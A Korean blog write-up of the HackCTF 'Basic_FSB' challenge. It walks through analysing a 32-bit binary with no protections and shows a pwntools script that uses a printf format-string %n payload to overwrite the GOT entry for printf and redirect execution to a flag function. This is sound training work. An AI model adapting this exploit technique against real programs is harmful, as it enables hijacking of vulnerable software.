혜랑's STORY

[HackCTF] Basic_FSB - pwnable 본문

2021 SISS 21기 활동/여름방학 CTF[연합]

[HackCTF] Basic_FSB - pwnable

hyerang0125 2021. 8. 10. 22:27

오늘 해결할 문제는 이 사이트의 Basic_FSB 문제이다.

다운로드를 눌러 문제를 다운받아 주었고, chmod를 통해 파일에 실행할 수 있는 권한을 부여하였다.

실행해본 결과 입력한 내용을 그대로 출력해주고 있는 것 같다.

checksec을 통해 파일을 열어보니

32bit 바이너리 파일이며 아무런 보호기법도 걸려있지 않았다.

IDA를 통해 열어본 결과

바로 vuln() 함수를 호출하고

vuln() 함수는 입력을 받은 것을 바로 출력하고 있었다.

이어 함수 목록을 살펴본 결과

flag 함수가 있었고 이 함수를 실행시켜 flag를 얻는 문제라고 생각하였다.

또한 문제의 이름에서 힌트를 얻어 fsb 취약점이 발생한다는 것을 알 수 있었고 입력으로 %x를 준 결과

2번째 인자를 건너뛰고 %X의 형식으로 출력하는 것을 알 수 있다.

from pwn import *

r = remote('ctf.j0n9hyun.xyz', '3002')
e = ELF('./basic_fsb')

payload = ''
payload += p32(e.got['printf'])
payload += '%134514096x%n'

r.recv(0x8)
r.sendline(payload)

r.interactive()
%n은 이전까지 입력되었던 문자열의 길이(byte) 수만큼 해당 변수에 저장시키기 때문에 메모리의 내용도 변조 가능하다.

위의 취약점을 이용하여 payload를 작성하였고 성공하여 flag를 얻을 수 있었다.